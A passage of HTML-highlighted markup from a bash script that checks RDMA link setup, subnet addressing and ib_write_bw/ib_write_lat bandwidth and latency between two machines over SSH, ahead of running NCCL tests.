&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$INSTALL_SNIPPET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | bash 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; | sed &lt;span style="color:#a5d6ff"&gt;&amp;#34;s/^/ /&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;install failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;tooling ready on &lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;hostname&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;. Run --install-only on the OTHER box too, then from the master:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; say &lt;span style="color:#a5d6ff"&gt;&amp;#34; ./spark2_nccl_check.sh &amp;lt;peer-ip&amp;gt; --skip-install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -n &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;give the peer&amp;#39;s SSH host as the first arg (or use --detect-only). e.g. ./spark2_nccl_check.sh 10.0.0.2&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -o &lt;span style="color:#79c0ff"&gt;BatchMode&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;yes -o &lt;span style="color:#79c0ff"&gt;ConnectTimeout&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;5&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; true 2&amp;gt;/dev/null &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;passwordless SSH to &amp;#39;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#39; failed. Run: ssh-copy-id &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;Detecting RDMA link on the peer (&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;read_detect peer; &lt;span style="color:#79c0ff"&gt;PDEV&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$DEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;PNET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$NET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;; &lt;span style="color:#79c0ff"&gt;PIP&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;PIP_OVR&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$IP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -n &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;no ACTIVE IB/RoCE port on peer &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; -&amp;gt; peer device &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; netdev &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; ip &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;PIP&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;:-&lt;/span&gt;&amp;lt;none&amp;gt;&lt;span style="color:#a5d6ff"&gt;}${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# IPs are required for the link tests.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -z &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -z &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;the link rails need IPv4 addresses on the SAME /30 subnet. Assign them, then re-run:&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; say &lt;span style="color:#a5d6ff"&gt;&amp;#34; # on THIS box: sudo ip addr add 10.0.0.1/30 dev &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; &amp;amp;&amp;amp; sudo ip link set &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; up mtu 9000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; say &lt;span style="color:#a5d6ff"&gt;&amp;#34; # on &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;: sudo ip addr add 10.0.0.2/30 dev &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; &amp;amp;&amp;amp; sudo ip link set &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; up mtu 9000&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; exit &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;SUBNET&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;net30 &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; link subnet: &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BLD&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$SUBNET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;RST&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; (rank0=&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; via &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;, rank1=&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; via &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- INSTALL (over SSH; needs passwordless sudo on the peer. If sudo prompts,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# use --install-only on EACH box first, then validate here --skip-install) -&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$SKIP_INSTALL&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;0&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;Installing tooling + building nccl-tests (this box + peer)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$INSTALL_SNIPPET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | bash 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; | sed &lt;span style="color:#a5d6ff"&gt;&amp;#34;s/^/ [local] /&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;local install failed&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; printf &lt;span style="color:#a5d6ff"&gt;&amp;#39;%s&amp;#39;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$INSTALL_SNIPPET&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; | ssh &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; bash 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; | sed &lt;span style="color:#a5d6ff"&gt;&amp;#34;s/^/ [peer ] /&amp;#34;&lt;/span&gt; &lt;span style="color:#79c0ff"&gt;\
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; die &lt;span style="color:#a5d6ff"&gt;&amp;#34;peer install failed (sudo over SSH?) — run &amp;#39;--install-only&amp;#39; on &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;, then re-run with --skip-install&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;tooling ready on both boxes&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;skipping install (--skip-install)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- TEST 1: RDMA bandwidth (ib_write_bw) ---------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;1/3 RDMA bandwidth (ib_write_bw)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pkill -f ib_write_bw 2&amp;gt;/dev/null; ssh &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;pkill -f ib_write_bw 2&amp;gt;/dev/null&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_bw -d &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -p &lt;span style="color:#a5d6ff"&gt;12000&lt;/span&gt; -F --report_gbits &amp;gt;/tmp/bw_srv.log 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;ib_write_bw -d &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; -i 1 -p 12000 -F --report_gbits &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &amp;gt;/tmp/bw_cli.log 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wait 2&amp;gt;/dev/null &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; --- client result ---&amp;#34;&lt;/span&gt;; grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]&amp;#39;&lt;/span&gt; /tmp/bw_cli.log | tail -3 | sed &lt;span style="color:#a5d6ff"&gt;&amp;#39;s/^/ /&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;$(&lt;/span&gt;grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]&amp;#39;&lt;/span&gt; /tmp/bw_cli.log | tail -1 | awk &lt;span style="color:#a5d6ff"&gt;&amp;#39;{print $4}&amp;#39;&lt;/span&gt;&lt;span style="color:#ff7b72"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;&lt;span style="color:#ff7b72;font-weight:bold"&gt;=&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;%%.*&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;if&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; -z &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;no bandwidth result — see /tmp/bw_cli.log&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span style="color:#a5d6ff"&gt;90&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_ok &lt;span style="color:#a5d6ff"&gt;&amp;#34;bandwidth &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; Gbps/rail — healthy&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;elif&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;[&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -ge &lt;span style="color:#a5d6ff"&gt;30&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;]&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;then&lt;/span&gt; gate_warn &lt;span style="color:#a5d6ff"&gt;&amp;#34;bandwidth &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; Gbps — below per-rail line rate (cable/PCIe?)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ff7b72"&gt;else&lt;/span&gt; gate_bad &lt;span style="color:#a5d6ff"&gt;&amp;#34;bandwidth &lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;${&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;BW&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;}&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; Gbps — FIRMWARE THROTTLE likely (update CX7 fw + full NIC power-drain)&amp;#34;&lt;/span&gt;; &lt;span style="color:#ff7b72"&gt;fi&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#8b949e;font-style:italic"&gt;# ----- TEST 2: RDMA latency (ib_write_lat) ----------------------------------&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hdr &lt;span style="color:#a5d6ff"&gt;&amp;#34;2/3 RDMA latency (ib_write_lat)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pkill -f ib_write_lat 2&amp;gt;/dev/null; ssh &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;pkill -f ib_write_lat 2&amp;gt;/dev/null&amp;#34;&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ib_write_lat -d &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; -i &lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; -p &lt;span style="color:#a5d6ff"&gt;12001&lt;/span&gt; -F &amp;gt;/tmp/lat_srv.log 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &amp;amp;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sleep &lt;span style="color:#a5d6ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh &lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PEER&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#a5d6ff"&gt;&amp;#34;ib_write_lat -d &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$PDEV&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt; -i 1 -p 12001 -F &lt;/span&gt;&lt;span style="color:#79c0ff"&gt;$MIP&lt;/span&gt;&lt;span style="color:#a5d6ff"&gt;&amp;#34;&lt;/span&gt; &amp;gt;/tmp/lat_cli.log 2&amp;gt;&amp;amp;&lt;span style="color:#a5d6ff"&gt;1&lt;/span&gt; &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;wait 2&amp;gt;/dev/null &lt;span style="color:#ff7b72;font-weight:bold"&gt;||&lt;/span&gt; true
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;say &lt;span style="color:#a5d6ff"&gt;&amp;#34; --- client result ---&amp;#34;&lt;/span&gt;; grep -E &lt;span style="color:#a5d6ff"&gt;&amp;#39;^[[:space:]]*[0-9]&amp;#39;&lt;/span&gt; /tmp/lat_cli.log | tail -2 | sed &lt;span style="color:#a5d6ff"&gt;&amp;#39;s/^/ /&amp;#39;&lt;/span&gt;
